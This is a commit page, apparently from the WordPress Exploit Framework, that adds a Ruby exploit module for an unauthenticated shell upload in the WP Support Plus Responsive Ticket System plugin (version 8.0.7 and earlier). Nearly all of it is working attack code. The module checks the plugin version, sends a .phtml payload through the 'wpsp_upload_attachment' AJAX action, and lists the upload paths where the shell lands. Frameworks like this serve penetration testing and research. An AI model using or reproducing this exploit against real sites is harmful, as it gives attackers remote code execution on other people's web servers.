Skip to content
This repository was archived by the owner on Oct 22, 2020. It is now read-only.

Commit af2ccc4

Browse files
committed
Add WP Support Plus Responsive Ticket System shell upload
1 parent caf7101 commit af2ccc4

File tree

1 file changed

+46
-0
lines changed

1 file changed

+46
-0
lines changed
Lines changed: 46 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,46 @@
1+
# frozen_string_literal: true
2+
3+
class Wpxf::Exploit::WPSupportPlusResponsiveTicketSystemShellUpload < Wpxf::Module
4+
include Wpxf::WordPress::ShellUpload
5+
6+
def initialize
7+
super
8+
9+
update_info(
10+
name: 'WP Support Plus Responsive Ticket System <= 8.0.7 Unauthenticated Shell Upload',
11+
author: [
12+
'Robert Mathews', # Discovery and disclosure
13+
'Rob Carr <rob[at]rastating.com>' # WPXF module
14+
],
15+
references: [
16+
['WPVDB', '8949']
17+
],
18+
date: 'Nov 11 2017'
19+
)
20+
end
21+
22+
def check
23+
check_plugin_version_from_readme('wp-support-plus-responsive-ticket-system', '8.0.8')
24+
end
25+
26+
def uploader_url
27+
wordpress_url_admin_ajax
28+
end
29+
30+
def payload_name_extension
31+
'phtml'
32+
end
33+
34+
def payload_body_builder
35+
builder = Utility::BodyBuilder.new
36+
builder.add_field('action', 'wpsp_upload_attachment')
37+
builder.add_file_from_string('0', payload.encoded, payload_name)
38+
builder
39+
end
40+
41+
def possible_payload_upload_locations
42+
upload_timestamp_range.map do |timestamp|
43+
normalize_uri(wordpress_url_uploads, 'wpsp', "#{timestamp}_#{payload_name}")
44+
end
45+
end
46+
end

0 commit comments

Comments
 (0)